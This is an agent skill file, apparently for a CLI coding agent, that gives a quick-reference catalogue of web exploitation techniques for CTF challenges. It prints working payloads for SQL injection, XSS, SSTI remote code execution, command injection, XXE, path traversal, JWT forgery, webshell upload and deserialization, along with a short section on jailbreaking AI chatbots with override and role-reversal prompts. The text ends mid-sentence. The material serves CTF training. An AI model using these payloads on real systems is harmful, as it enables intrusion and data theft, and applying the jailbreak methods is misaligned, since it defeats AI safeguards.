Skill: gandli/ctf-web (version 1.0.0)

--- name: ctf-web description: Provides web exploitation techniques for CTF challenges. Use when solving web security challenges involving XSS, SQLi, SSTI, SSRF, CSRF, XXE, file upload bypasses, JWT attacks, prototype pollution, path traversal, command injection, LaTeX injection, request smuggling, DOM clobbering, Web3/blockchain, authentication bypass, SAML exploitation, OAuth/OIDC, open redirect chains, subdomain takeover, or CI/CD credential theft. license: MIT compatibility: Requires filesystem-based agent (Claude Code or similar) with bash, Python 3, and internet access for tool installation. allowed-tools: Bash Read Write Edit Glob Grep Task WebFetch WebSearch metadata: user-invocable: "false" --- # CTF Web Exploitation Quick reference for web CTF challenges. Each technique has a one-liner here; see supporting files for full details with payloads and code. ## Prerequisites **Python packages (all platforms):** ```bash pip install sqlmap flask-unsign requests ``` **Linux (apt):** ```bash apt install hashcat jq curl ``` **macOS (Homebrew):** ```bash brew install hashcat jq curl ``` **Go tools (all platforms, requires Go):** ```bash go install github.com/ffuf/ffuf/v2@latest ``` **Manual install:** - ysoserial — [GitHub](https://github.com/frohoff/ysoserial), requires Java (Java deserialization payloads) ## Additional Resources - [sql-injection.md](sql-injection.md) - SQL injection techniques: backslash/hex bypass, second-order SQLi, LIKE brute-force, MySQL column truncation, SQLi→SSTI chain, processList trick, XML entity WAF bypass, EXIF metadata injection, Shift-JIS encoding bypass, QR code input injection, double-keyword filter bypass, MySQL session variable dual-value injection, PHP PCRE backtrack WAF bypass, processlist race condition leak - [server-side.md](server-side.md) - Core server-side injection attacks: SSTI (Jinja2, Go, EJS, ERB Sequel bypass, Mako, Twig, `__dict__.update()` quote bypass), Python str.format() attribute traversal, SSRF (Host header, DNS rebinding, curl redirect), XXE, XML injection via X-Forwarded-For header, command injection (newline, blocklist bypass, sendmail, multi-barcode, git CLI newline injection), PHP type juggling, PHP file inclusion / php://filter, GraphQL injection (introspection, query batching/aliasing, string interpolation) - [server-side-exec.md](server-side-exec.md) - Code execution and server-side access attacks: Ruby/Perl/JS code injection, LaTeX injection RCE, PHP preg_replace /e RCE, PHP backtick eval under character limit, PHP assert() injection, Prolog injection, ReDoS timing oracle, file upload→RCE (.htaccess, log poisoning, Python .so hijack, Gogs symlink, ZipSlip), PHP deserialization from cookies, PHP extract() variable overwrite, XPath blind injection, API filter injection, HTTP response header hiding, WebSocket mass assignment, Thymeleaf SpEL SSTI + Spring FileCopyUtils WAF bypass - [server-side-exec-2.md](server-side-exec-2.md) - Code execution and server-side access attacks (Part 2): SQLi keyword fragmentation bypass, SQL WHERE ORDER BY bypass, SQL injection via DNS records, bash brace expansion space-free injection, Common Lisp #.() reader macro injection, PHP7 OPcache binary webshell + LD_PRELOAD disable_functions bypass, wget GET parameter filename trick, tar filename command injection, PNG/PHP polyglot upload + double extension + disable_functions bypass, editor backup file source disclosure, date -f arbitrary file read, Apache mod_rewrite PATH_INFO bypass, PHP ReDoS code execution skip - [server-side-deser.md](server-side-deser.md) - Deserialization and execution attacks: Java deserialization (ysoserial gadget chains, JNDI injection, blind detection), Python pickle RCE (`__reduce__`, restricted unpickler bypass, STOP opcode chaining), PHP serialization length manipulation via filter word expansion, race conditions (TOCTOU async exploits, double-spend, coupon reuse) - [server-side-advanced.md](server-side-advanced.md) - Advanced server-side techniques: ExifTool CVE-2021-22204, Go rune/byte mismatch, zip symlink traversal, path traversal bypasses (brace stripping, double URL encoding, os.path.join, %2f), /dev/fd symlink to bypass /proc filter, Flask/Werkzeug debug mode, XXE external DTD filter bypass, WeasyPrint SSRF, MongoDB regex injection, Pongo2 Go template injection, ZIP PHP webshell, basename() bypass, React Server Components Flight RCE (CVE-2025-55182) - [server-side-advanced-2.md](server-side-advanced-2.md) - Advanced server-side techniques (Part 2): SSRF to Docker API RCE chain, Castor XML xsi:type deserialization (Atlas HTB), Apache ErrorDocument expression file read (Zero HTB), SQLite file path traversal to bypass string equality, HQL injection via non-breaking space, base64-encoded path traversal, Windows 8.3 short filename bypass, URL parse_url @ symbol bypass, PHP zip:// wrapper LFI via PNG/ZIP polyglot, XSS to SSTI chain via Flask error pages, INSERT INTO dual-field SQLi column shift, session cookie forgery via timestamp-seeded PRNG, SSRF via parse_url/curl double-@ URL parsing discrepancy, LaTeX RCE via mpost restricted write18 bypass, ElasticSearch Groovy script_fields RCE via SSRF - [client-side.md](client-side.md) - Client-side attacks: XSS, CSRF, CSPT, cache poisoning, DOM tricks, React input filling, hidden elements, XS-Leak timing oracle, GraphQL CSRF, admin bot javascript: URL scheme bypass, AngularJS 1.x sandbox escape via charAt/trim override, shadow DOM XSS, DOM clobbering, HTTP request smuggling, JPEG+HTML polyglot XSS, JSFuck decoding, CSS/JS paywall bypass - [client-side-advanced.md](client-side-advanced.md) - Advanced client-side attacks: Unicode case folding XSS bypass (long-s U+017F), CSS font glyph container query exfiltration, Hyperscript CDN CSP bypass, PBKDF2 prefix timing oracle, client-side HMAC bypass via leaked JS secret, terminal control character obfuscation, CSP bypass via cloud function whitelisted domain, CSP nonce bypass via base tag hijacking, XSSI via JSONP callback exfiltration, CSP bypass via link prefetch, cross-origin XSS via shared parent domain cookie injection, Chrome Unicode URL normalization bypass, XSS dot-filter bypass via decimal IP and bracket notation - [auth-and-access.md](auth-and-access.md) - Auth/authz attacks: password inference, weak validation, client-side gates, NoSQL auth bypass, cookie manipulation, admin login route cookie seeding, host header bypass, always-true hash check, affine cipher OTP brute-force, /proc/self/mem via HTTP Range requests, custom linear MAC forgery, hidden API endpoints, HAProxy/Express.js bypass, IDOR on WIP endpoints, HTTP TRACE method bypass, LLM/AI chatbot jailbreak, LLM safety model category gaps, open redirect chains (OAuth token theft), subdomain takeover, Apache mod_status info disclosure + session forging, JA4/JA4H TLS fingerprint matching - [auth-jwt.md](auth-jwt.md) - JWT/JWE token attacks: algorithm none, RS256→HS256 confusion, weak secret, unverified signature, JWK/JKU header injection, KID path traversal, balance replay, JWE forgery with exposed public key - [auth-infra.md](auth-infra.md) - Infrastructure auth: OAuth/OIDC exploitation (redirect_uri bypass, token manipulation, state CSRF), CORS misconfiguration, git history credential leakage, CI/CD variable theft, identity provider API takeover (authentik/Keycloak), SAML SSO flow automation, Guacamole parameter extraction, login page poisoning, TeamCity REST API RCE, base64 decode leniency signature bypass - [node-and-prototype.md](node-and-prototype.md) - Node.js: prototype pollution, VM sandbox escape, Happy-DOM chain, flatnest CVE, Lodash+Pug AST injection - [web3.md](web3.md) - Blockchain/Web3: Solidity exploits, proxy patterns, ABI encoding tricks, transient storage clearing collision (0.8.28-0.8.33), Foundry tooling - [cves.md](cves.md) - CVE-specific exploits: Next.js middleware bypass, curl credential leak, Uvicorn CRLF, urllib scheme bypass, Chrome referrer leak via Link header, TCP packet splitting firewall bypass, Puppeteer JS bypass, python-dotenv injection, HTTP request splitting (RFC 2047), Waitress WSGI cookie exfil, Deno import map hijack, Gogs symlink RCE (CVE-2025-8110), ExifTool DjVu, broken auth, AAEncode/JJEncode, protocol multiplexing, WeasyPrint attachment SSRF (CVE-2024-28184), React Server Components Flight RCE (CVE-2025-55182), Ruby-SAML XPath digest smuggling (CVE-2024-45409, Barrier HTB), PaperCut NG auth bypass + RCE (CVE-2023-27350, Bamboo HTB), Zabbix blind SQLi (CVE-2024-22120, Watcher HTB) --- ## When to Pivot - If the target is a native binary, custom VM, or firmware image, switch to `/ctf-reverse` first. - If the HTTP bug only gives you code execution and the hard part becomes memory corruption or seccomp escape, switch to `/ctf-pwn`. - If the "web" challenge really turns on JWT math, custom MACs, or crypto primitives, switch to `/ctf-crypto`. - If the web challenge involves analyzing logs, PCAPs, or recovering artifacts from a web server, switch to `/ctf-forensics`. - If the challenge requires gathering intelligence from public web sources, DNS records, or social media before exploitation, switch to `/ctf-osint`. ## Quick Start Commands ```bash # Recon curl -sI https://target.com # Headers ffuf -u https://target.com/FUZZ -w wordlist.txt # Directory brute curl -s https://target.com/robots.txt # SQLi quick test sqlmap -u "https://target.com/page?id=1" --batch --dbs # JWT decode (no verification) echo '<token>' | cut -d. -f2 | base64 -d 2>/dev/null | jq . # Cookie decode (Flask) flask-unsign --decode --cookie '<cookie>' flask-unsign --unsign --cookie '<cookie>' --wordlist rockyou.txt # SSTI test payloads curl "https://target.com/page?name={{7*7}}" curl "https://target.com/page?name={{config}}" # Request inspection curl -v -X POST https://target.com/api -H "Content-Type: application/json" -d '{}' ``` ## Reconnaissance - View source for HTML comments, check JS/CSS files for internal APIs - Look for `.map` source map files - Check response headers for custom X- headers and auth hints - Common paths: `/robots.txt`, `/sitemap.xml`, `/.well-known/`, `/admin`, `/api`, `/debug`, `/.git/`, `/.env` - Search JS bundles: `grep -oE '"/api/[^"]+"'` for hidden endpoints - Check for client-side validation that can be bypassed - Compare what the UI sends vs. what the API accepts (read JS bundle for all fields) - Check assets returning 404 status — `favicon.ico`, `robots.txt` may contain data despite error codes: `strings favicon.ico | grep -i flag` - Tor hidden services: `feroxbuster -u 'http://target.onion/' -w wordlist.txt --proxy socks5h://127.0.0.1:9050 -t 10 -x .txt,.html,.bak` ## SQL Injection Quick Reference **Detection:** Send `'` — syntax error indicates SQLi ```sql ' OR '1'='1 # Classic auth bypass ' OR 1=1-- # Comment termination username=\&password= OR 1=1-- # Backslash escape quote bypass ' UNION SELECT sql,2,3 FROM sqlite_master-- # SQLite schema 0x6d656f77 # Hex encoding for 'meow' (bypass quotes) ``` WAF bypasses: XML entity encoding (`&#x55;NION`), EXIF metadata injection (`exiftool -Comment="' UNION SELECT..."`), Shift-JIS `\u00a5`→`0x5c` backslash, QR code payload injection, double-keyword nesting (`selselectect`). See [sql-injection.md](sql-injection.md) for all techniques. MySQL session variable dual-value injection: `@var:=` assigns return different values across sequential queries in one connection. PHP PCRE backtrack limit WAF bypass: 1M+ chars cause `preg_match()` to return `false`, passing `!false`. `information_schema.processlist` race condition leaks secrets from concurrent queries. See [sql-injection.md](sql-injection.md). See [server-side-exec.md](server-side-exec.md) for PHP preg_replace /e RCE and Prolog injection. See [server-side-exec-2.md](server-side-exec-2.md) for SQLi via DNS records and SQLi keyword fragmentation. ## XSS Quick Reference ```html <script>alert(1)</script> <img src=x onerror=alert(1)> <svg onload=alert(1)> ``` Filter bypass: hex `\x3cscript\x3e`, entities `&#60;script&#62;`, case mixing `<ScRiPt>`, event handlers. - **XSS dot-filter bypass:** Decimal IP (`1558071511` = `92.123.45.67`) eliminates dots from URLs. JavaScript bracket notation (`document["cookie"]`) replaces dot property access. See [client-side-advanced.md](client-side-advanced.md#xss-dot-filter-bypass-via-decimal-ip-and-bracket-notation-33c3-ctf-2016). - **Cross-origin cookie XSS:** Set cookie with `domain=.parent.tld` from one subdomain to inject XSS payload rendered on a sibling subdomain. See [client-side-advanced.md](client-side-advanced.md#cross-origin-xss-via-shared-parent-domain-cookie-injection-0ctf-2017). - **AngularJS 1.x sandbox escape:** Override `String.prototype.charAt` with `trim` to bypass AngularJS expression sandbox, then `$eval` arbitrary JS. See [client-side.md](client-side.md#angularjs-1x-sandbox-escape-via-charattrim-override-google-ctf-2017). See [client-side.md](client-side.md) for DOMPurify bypass, cache poisoning, CSPT, React input tricks. ## XSSI via JSONP Callback Exfiltration JSONP endpoint (`?callback=func`) wraps sensitive data in a function call. Load cross-origin via `<script src>` with custom callback to exfiltrate. Chain: SHA1 cookie inversion -> IDOR on debug endpoint -> XSSI -> cloud function OOB. See [client-side-advanced.md](client-side-advanced.md#xssi-via-jsonp-callback-with-cloud-function-exfiltration-bsidessf-2026). ## Path Traversal / LFI Quick Reference ```text ../../../etc/passwd ....//....//....//etc/passwd # Filter bypass ..%2f..%2f..%2fetc/passwd # URL encoding %252e%252e%252f # Double URL encoding {.}{.}/flag.txt # Brace stripping bypass ``` **Windows 8.3 short filename bypass:** `FILEFO~1.EXT` short names bypass path filters that check the long filename. See [server-side-advanced-2.md](server-side-advanced-2.md#windows-83-short-filename-path-traversal-bypass-tokyo-westerns-2016). **URL parse_url @ bypass:** `http://[REDACTED_SECRET]/` -- PHP `parse_url()` extracts `attacker.com` as host, bypassing domain checks. See [server-side-advanced-2.md](server-side-advanced-2.md#url-parseurl-symbol-bypass-ekoparty-ctf-2016). - **SSRF double-@ parse discrepancy:** `[REDACTED_SECRET]` — `parse_url()` sees `allowed.host`, curl connects to `127.0.0.1`. Distinct from single-@ bypass. See [server-side-advanced-2.md](server-side-advanced-2.md#ssrf-via-parseurlcurl-url-parsing-discrepancy-33c3-ctf-2016). **/dev/fd symlink bypass:** When `/proc` is blacklisted, use `/dev/fd/../environ` -- `/dev/fd` symlinks to `/proc/self/fd`, so `../` reaches `/proc/self/`. See [server-side-advanced.md](server-side-advanced.md#devfd-symlink-to-bypass-proc-filter-google-ctf-2017). **Python footgun:** `os.path.join('/app/public', '/etc/passwd')` returns `/etc/passwd` ## JWT Quick Reference 1. `alg: none` — remove signature entirely 2. Algorithm confusion (RS256→HS256) — sign with public key 3. Weak secret — brute force with hashcat/flask-unsign 4. Key exposure — check `/api/getPublicKey`, `.env`, `/debug/config` 5. Balance replay — save JWT, spend, replay old JWT, return items for profit 6. Unverified signature — modify payload, keep original signature 7. JWK header injection — embed attacker public key in token header 8. JKU header injection — point to attacker-controlled JWKS URL 9. KID path traversal — `../../../dev/null` for empty key, or SQL injection in KID See [auth-jwt.md](auth-jwt.md) for full JWT/JWE attacks and session manipulation. ## SSTI Quick Reference **Detection:** `{{7*7}}` returns `49` ```python # Jinja2 RCE {{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}} # Go template {{.ReadFile "/flag.txt"}} # EJS <%- global.process.mainModule.require('child_process').execSync('id') %> # Jinja2 quote bypass (keyword args): {{obj.__dict__.update(attr=value) or obj.name}} ``` **Mako SSTI (Python):** `${__import__('os').popen('id').read()}` — no sandbox, plain Python inside `${}` or `<% %>`. **Twig SSTI (PHP):** `{{['id']|map('system')|join}}` — distinguish from Jinja2 via `{{7*'7'}}` (Twig repeats string, Jinja2 returns 49). See [server-side.md](server-side.md#mako-ssti) and [server-side.md](server-side.md#twig-ssti). **Quote filter bypass:** Use `__dict__.update(key=value)` — keyword arguments need no quotes. See [server-side.md](server-side.md#ssti-quote-filter-bypass-via-dictupdate-apoorvctf-2026). **ERB SSTI (Ruby/Sinatra):** `<%= Sequel::DATABASES.first[:table].all %>` bypasses ERBSandbox variable-name restrictions via the global `Sequel::DATABASES` array. See [server-side.md](server-side.md#erb-ssti-sequeldatabases-bypass-bearcatctf-2026). ## Python str.format() Attribute Traversal (PlaidCTF 2017) Python `str.format()` allows dot-notation attribute traversal (`{0.attr.subattr}`) and bracket indexing (`{0[key]}`). When user input reaches `.format(obj)`, leak arbitrary attributes without a template engine. Distinct from SSTI. See [server-side.md](server-side.md#python-strformat-attribute-traversal-plaidctf-2017). **Thymeleaf SpEL SSTI (Java/Spring):** `${T(org.springframework.util.FileCopyUtils).copyToByteArray(new java.io.File("/flag.txt"))}` reads files via Spring utility classes when standard I/O is WAF-blocked. Works in distroless containers (no shell). See [server-side-exec.md](server-side-exec.md#thymeleaf-spel-ssti-spring-filecopyutils-waf-bypass-apoorvctf-2026). ## SSRF Quick Reference ```text 127.0.0.1, localhost, 127.1, 0.0.0.0, [::1] 127.0.0.1.nip.io, 2130706433, 0x7f000001 ``` DNS rebinding for TOCTOU: https://lock.cmpxchg8b.com/rebinder.html **Host header SSRF:** Server builds internal request URL from `Host` header (e.g., `http.Get("http://" + request.Host + "/validate")`). Set Host to attacker domain → validation request goes to attacker server. See [server-side.md](server-side.md#host-header-ssrf-mireactf). **ElasticSearch Groovy RCE via SSRF:** SSRF to internal ES on port 9200 enables RCE through `script_fields` Groovy scripting (pre-5.0). See [server-side-advanced-2.md](server-side-advanced-2.md#elasticsearch-groovy-scriptfields-rce-via-ssrf-volgactf-2017). ## Command Injection Quick Reference ```bash ; id | id `id` $(id) %0aid # Newline 127.0.0.1%0acat /flag ``` When cat/head blocked: `sed -n p flag.txt`, `awk '{print}'`, `tac flag.txt` **Bash brace expansion (space-free injection):** `{ls,-la,..}` expands to `ls -la ..` without literal spaces. See [server-side-exec-2.md](server-side-exec-2.md#bash-brace-expansion-for-space-free-command-injection-insomnihack-2016). **Git CLI newline injection:** `%0a` in URL path breaks out of backtick/system() shell calls that only filter `;|&<>`. See [server-side.md](server-side.md#git-cli-newline-injection-via-url-path-bsidessf-2026). ## XXE Quick Reference ```xml <?xml version="1.0"?> <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> <root>&xxe;</root> ``` PHP filter: `<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/flag.txt">` **XXE in DOCX uploads:** DOCX is ZIP+XML; inject XXE in `[Content_Types].xml` inside the archive. See [server-side.md](server-side.md#xxe-via-docxoffice-xml-upload-school-ctf-2016). ## PHP Type Juggling Quick Reference Loose `==` performs type coercion: `0 == "string"` is `true`, `"0e123" == "0e456"` is `true` (magic hashes). Send JSON integer `0` to bypass string password checks. `strcmp([], "str")` returns `NULL` which passes `!strcmp()`. Use `===` for defense. See [server-side.md](server-side.md#php-type-juggling) for comparison table and exploit payloads. ## PHP File Inclusion / LFI Quick Reference `php://filter/convert.base64-encode/resource=config` leaks PHP source code without execution. Common LFI targets: `/etc/passwd`, `/proc/self/environ`, app config files. Null byte (`%00`) truncates `.php` suffix on PHP < 5.3.4. See [server-side.md](server-side.md#php-file-inclusion-phpfilter) for filter chains and RCE techniques. ## Code Injection Quick Reference **Ruby `instance_eval`:** Break string + comment: `VALID');INJECTED_CODE#` **Perl `open()`:** 2-arg open allows pipe: `|command|` **JS `eval` blocklist bypass:** `row['con'+'structor']['con'+'structor']('return this')()` **PHP deserialization:** Craft serialized object in cookie → LFI/RCE **LaTeX injection:** `\input{|"cat /flag.txt"}` — shell command via pipe syntax in PDF generation services. `\@@input"/etc/passwd"` for file reads without shell. - **LaTeX restricted write18 bypass:** When `write18` is restricted, `mpost -ini "-tex=bash -c (cmd)" file.mp` uses mpost's whitelisted status to execute arbitrary commands. `${IFS}` replaces spaces. See [server-side-advanced-2.md](server-side-advanced-2.md#latex-rce-via-mpost-restricted-write18-bypass-33c3-ctf-2016). **PHP backtick eval (character limit):** `` echo`cat *`; `` -- PHP backticks = `shell_exec()`, fits RCE in as few as 8 chars. Use `` `$_GET[0]`; `` to move payload to URL parameter. See [server-side-exec.md](server-side-exec.md#php-backtick-eval-under-character-limit-easyctf-2017). **PHP assert() injection:** `assert("strpos('$input', '..') === false")` — inject `') || system('cmd');//` for RCE (PHP < 7.2). See [server-side-exec.md](server-side-exec.md#php-assert-string-evaluation-injection-csaw-ctf-2016). **Common Lisp `read` injection:** `#.(run-shell-command "cat /flag")` — reader macro evaluates at parse time. See [server-side-exec-2.md](server-side-exec-2.md#common-lisp-injection-via-reader-macro-insomnihack-2016). **Ruby ObjectSpace scanning:** `ObjectSpace.each_object(String)` dumps all in-memory strings including flag. See [server-side-exec.md](server-side-exec.md#ruby-objectspace-memory-scanning-for-flag-extraction-tokyo-westerns-2016). See [server-side-exec.md](server-side-exec.md) for full payloads and bypass techniques. ## Java Deserialization Serialized Java objects (`rO0AB` / `aced0005`) + ysoserial gadget chains → RCE via `ObjectInputStream.readObject()`. Try `CommonsCollections1-7`, `URLDNS` for blind detection. See [server-side-deser.md](server-side-deser.md#java-deserialization-ysoserial). ## Python Pickle Deserialization `pickle.loads()` calls `__reduce__()` → `(os.system, ('cmd',))` instant RCE. Also via `yaml.load()`, `torch.load()`, `joblib.load()`. See [server-side-deser.md](server-side-deser.md#python-pickle-deserialization). ## Race Conditions (TOCTOU) Concurrent requests bypass check-then-act patterns (balance, coupons, registration). Send 50 simultaneous requests — all see pre-modification state. See [server-side-deser.md](server-side-deser.md#race-conditions-toctou). ## Node.js Quick Reference **Prototype pollution:** `{"__proto__": {"isAdmin": true}}` or flatnest circular ref bypass **VM escape:** `this.constructor.constructor("return process")()` → RCE **Full chain:** pollution → enable JS eval in Happy-DOM → VM escape → RCE **Prototype pollution permission bypass:** `{"__proto__":{"isAdmin":true}}` on JSON endpoints pollutes `Object.prototype`. Always try `__proto__` injection even when the vulnerability seems like something else. See [node-and-prototype.md](node-and-prototype.md) for detailed exploitation. ## Auth & Access Control Quick Reference - Cookie manipulation: `role=admin`, `isAdmin=true` - Public admin-login cookie seeding: check if `/admin/login` sets reusable admin session cookie - Host header bypass: `Host: 127.0.0.1` - Hidden endpoints: search JS bundles for `/api/internal/`, `/api/admin/`; fuzz with auth cookie for non-`/api` routes like `/internal/*` - Client-side gates: `window.overrideAccess = true` or call API directly - Password inference: profile data + structured ID format → brute-force - Weak signature: check if only first N chars of hash are validated - Affine cipher OTP: only 312 possible values (`12 mults × 26 adds`), brute-force all in seconds - TOTP srand(time()) weakness: sync server clock to predict codes. See [auth-and-access.md](auth-and-access.md#totp-recovery-via-php-srandtime-seed-weakness-tum-ctf-2016) - Express.js `%2F` middleware bypass, IDOR on WIP endpoints, git history credential leakage - CI/CD variable theft, identity provider API takeover (bypass MFA: `not_configured_action: skip`) - SAML SSO automation, Guacamole parameter extraction, login page poisoning, TeamCity REST API RCE ## Apache CVE-2012-0053 HttpOnly Cookie Leak Send oversized `Cookie` header to trigger 400 Bad Request; Apache's error page reflects the cookie value, leaking HttpOnly cookies. See [cves.md](cves.md#cve-2012-0053-apache-httponly-cookie-leak-via-400-bad-request-rc3-ctf-2016). ## Apache mod_status Information Disclosure `/server-status` endpoint reveals active URLs, client IPs, and session data. Use for admin endpoint discovery and session forging. See [auth-and-access.md](auth-and-access.md#apache-modstatus-information-disclosure-session-forging-29c3-ctf-2012). ## Open Redirect Chains Chain open redirects (`?redirect=`, `?next=`, `?url=`) with OAuth flows for token theft. Bypass validation with `@`, `%00`, `//`, `\`, CRLF. See [auth-and-access.md](auth-and-access.md#open-redirect-chains). ## Subdomain Takeover Dangling CNAME → claim resource on external service (GitHub Pages, S3, Heroku). Use `subfinder` + `httpx` to enumerate, check fingerprints. See [auth-and-access.md](auth-and-access.md#subdomain-takeover). See [auth-and-access.md](auth-and-access.md) for access control bypasses, [auth-jwt.md](auth-jwt.md) for JWT/JWE attacks, and [auth-infra.md](auth-infra.md) for OAuth/SAML/CI-CD/infrastructure auth. ## File Upload → RCE - `.htaccess` upload: `AddType application/x-httpd-php .lol` + webshell - Gogs symlink: overwrite `.git/config` with `core.sshCommand` RCE - Python `.so` hijack: write malicious shared object + delete `.pyc` to force reimport - ZipSlip: symlink in zip for file read, path traversal for file write - Log poisoning: PHP payload in User-Agent + path traversal to include log - PNG/PHP polyglot + double extension: valid PNG with `<?php` after IEND chunk, uploaded as `.png.php`; when `disable_functions` blocks exec, use `scandir('/')` + `file_get_contents()` for flag. See [server-side-exec-2.md](server-side-exec-2.md#pngphp-polyglot-upload-double-extension-disablefunctions-bypass-metactf-flash-2026). See [server-side-exec.md](server-side-exec.md) and [server-side-exec-2.md](server-side-exec-2.md) for detailed steps. ## Multi-Stage Chain Patterns **0xClinic chain:** Password inference → path traversal + ReDoS oracle (leak secrets from `/proc/1/environ`) → CRLF injection (CSP bypass + cache poisoning + XSS) → urllib scheme bypass (SSRF) → `.so` write via path traversal → RCE **Key chaining insights:** - Path traversal + any file-reading primitive → leak `/proc/*/environ`, `/proc/*/cmdline` - CRLF in headers → CSP bypass + cache poisoning + XSS in one shot - Arbitrary file write in Python → `.so` hijacking or `.pyc` overwrite for RCE - Lowercased response body → use hex escapes (`\x3c` for `<`) ## Flask/Werkzeug Debug Mode Weak session secret brute-force + forge admin session + Werkzeug debugger PIN RCE. See [server-side-advanced.md](server-side-advanced.md#flaskwerkzeug-debug-mode-exploitation) for full attack chain. ## XXE with External DTD Filter Bypass Host malicious DTD externally to bypass upload keyword filters. See [server-side-advanced.md](server-side-advanced.md#xxe-with-external-dtd-filter-bypass) for payload and webhook.site setup. ## JSFuck Decoding Remove trailing `()()`, eval in Node.js, `.toString()` reveals original code. See [client-side.md](client-side.md#jsfuck-decoding). ## DOM XSS via jQuery Hashchange (Crypto-Cat) `$(location.hash)` + `hashchange` event → XSS via iframe: `<iframe src="https://target/#" onload="this.src+='<img src=x onerror=print()>'">`. See [client-side.md](client-side.md#dom-xss-via-jquery-hashchange-crypto-cat). ## Shadow DOM XSS Proxy `attachShadow` to capture closed roots; `(0,eval)` for scope escape; `</script>` injection. See [client-side.md](client-side.md#shadow-dom-xss). ## DOM Clobbering + MIME Mismatch `.jpg` served as `text/html`; `<form id="config">` clobbers JS globals. See [client-side.md](client-side.md#dom-clobbering-mime-mismatch). ## HTTP Request Smuggling via Cache Proxy Cache proxy desync for cookie theft via incomplete POST body. See [client-side.md](client-side.md#http-request-smuggling-via-cache-proxy). ## Path Traversal: URL-Encoded Slash Bypass `%2f` bypasses nginx route matching but filesystem resolves it. See [server-side-advanced.md](server-side-advanced.md#path-traversal-url-encoded-slash-bypass). ## WeasyPrint SSRF & File Read (CVE-2024-28184) `<a rel="attachment" href="file:///flag.txt">` or `<link rel="attachment" href="http://127.0.0.1/admin">` -- WeasyPrint embeds fetched content as PDF attachments, bypassing header checks. Boolean oracle via `/Type /EmbeddedFile` presence. See [server-side-advanced.md](server-side-advanced.md#weasyprint-ssrf-file-read-cve-2024-28184-nullcon-2026) and [cves.md](cves.md#cve-2024-28184-weasyprint-attachment-ssrf-file-read). ## MongoDB Regex / $where Blind Injection Break out of `/.../i` with `a^/)||(<condition>)&&(/a^`. Binary search `charCodeAt()` for extraction. See [server-side-advanced.md](server-side-advanced.md#mongodb-regex-injection-where-blind-oracle-nullcon-2026). ## Pongo2 / Go Template Injection `{% include "/flag.txt" %}` in uploaded file + path traversal in template parameter. See [server-side-advanced.md](server-side-advanced.md#pongo2-go-template-injection-via-path-traversal-nullcon-2026). ## ZIP Upload with PHP Webshell Upload ZIP containing `.php` file → extract to web-accessible dir → `file_get_contents('/flag.txt')`. See [server-side-advanced.md](server-side-advanced.md#zip-upload-with-php-webshell-nullcon-2026). ## basename() Bypass for Hidden Files `basename()` only strips dirs, doesn't filter `.lock` or hidden files in same directory. See [server-side-advanced.md](server-side-advanced.md#basename-bypass-for-hidden-files-nullcon-2026). ## Custom Linear MAC Forgery Linear XOR-based signing with secret blocks → recover from known pairs → forge for target. See [auth-and-access.md](auth-and-access.md#custom-linear-macsignature-forgery-nullcon-2026). ## CSS/JS Paywall Bypass Content behind CSS overlay (`position: fixed; z-index: 99999`) is still in the raw HTML. `curl` or view-source bypasses it instantly. See [client-side.md](client-side.md#cssjs-paywall-bypass). ## SSRF → Docker API RCE Chain SSRF to unauthenticated Docker daemon on port 2375. Use `/archive` for file extraction, `/exec` + `/exec/{id}/start` for command execution. Chain through internal POST relay when SSRF is GET-only. See [server-side-advanced-2.md](server-side-advanced-2.md#ssrf-to-docker-api-rce-chain-h7ctf-2025). ## Castor XML Deserialization via xsi:type (Atlas HTB) Castor XML `Unmarshaller` without mapping file trusts `xsi:type` attributes for arbitrary Java class instantiation. Chain through JNDI (Java Naming and Directory Interface) / RMI (Remote Method Invocation) via ysoserial `CommonsBeanutils1` for RCE. Requires Java 11 (not 17+). Check `pom.xml` for `castor-xml`. See [server-side-advanced-2.md](server-side-advanced-2.md#castor-xml-deserialization-via-xsitype-polymorphism-atlas-htb). ## Apache ErrorDocument Expression File Read (Zero HTB) `.htaccess` with `ErrorDocument 404 "%{file:/etc/passwd}"` reads files at Apache level, bypassing `php_admin_flag engine off`. Requires `AllowOverride FileInfo`. Upload via SFTP, trigger with 404 request. See [server-side-advanced-2.md](server-side-advanced-2.md#apache-errordocument-expression-file-read-zero-htb). ## HTTP TRACE Method Bypass Endpoints returning 403 on GET/POST may respond to TRACE, PUT, PATCH, or DELETE. Test with `curl -X TRACE`. See [auth-and-access.md](auth-and-access.md#http-trace-method-bypass-bypass-ctf-2025). ## LLM/AI Chatbot Jailbreak AI chatbots guarding flags can be bypassed with system override prompts, role-reversal, or instruction leak requests. Rotate session IDs and escalate prompt severity. See [auth-and-access.md](auth-and-access.md#llmai-chatbot-jailbreak-bypass-ctf-2025). ## Admin Bot javascript: URL Scheme Bypass `new URL()` validates syntax only, not protocol — `javascript:` URLs pass and execute in Puppeteer's authenticated context. CSP/SRI on the target page are irrelevant since JS runs in navigation context. See [client-side.md](client-side.md#admin-bot-javascript-url-scheme-bypass-dicectf-2026). ## XS-Leak via Image Load Timing + GraphQL CSRF (HTB GrandMonty) HTML injection → meta refresh redirect (CSP bypass) → admin bot loads attacker page → JavaScript makes cross-origin GET requests to `localhost` GraphQL endpoint via `new Image().src` → measures time-based SQLi (`SLEEP(1)`) through image error timing → character-by-character flag exfiltration. GraphQL GET requests bypass CORS preflight. See [client-side.md](client-side.md#xs-leak-via-image-load-timing-graphql-csrf-htb-grandmonty). ## React Server Components Flight Protocol RCE (Ehax 2026) Identify via `Next-Action` + `Accept: text/x-component` headers. CVE-2025-55182: fake Flight chunk exploits constructor chain for server-side JS execution. Exfiltrate via `NEXT_REDIRECT` error → `x-action-redirect` header. WAF bypass: `'chi'+'ld_pro'+'cess'` or hex `'\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73'`. See [server-side-advanced.md](server-side-advanced.md#react-server-components-flight-protocol-rce-ehax-2026) and [cves.md](cves.md#cve-2025-55182-cve-2025-66478-react-server-components-flight-protocol-rce). ## Unicode Case Folding XSS Bypass (UNbreakable 2026) **Pattern:** Sanitizer regex uses ASCII-only matching (`<\s*script`), but downstream processing applies Unicode case folding (`strings.EqualFold`). `<ſcript>` (U+017F Latin Long S) bypasses regex but folds to `<script>`. Other pairs: `ı`→`i`, `K` (U+212A)→`k`. See [client-side-advanced.md](client-side-advanced.md#unicode-case-folding-xss-bypass-unbreakable-2026). ## CSS Font Glyph + Container Query Data Exfiltration (UNbreakable 2026) **Pattern:** Exfiltrate 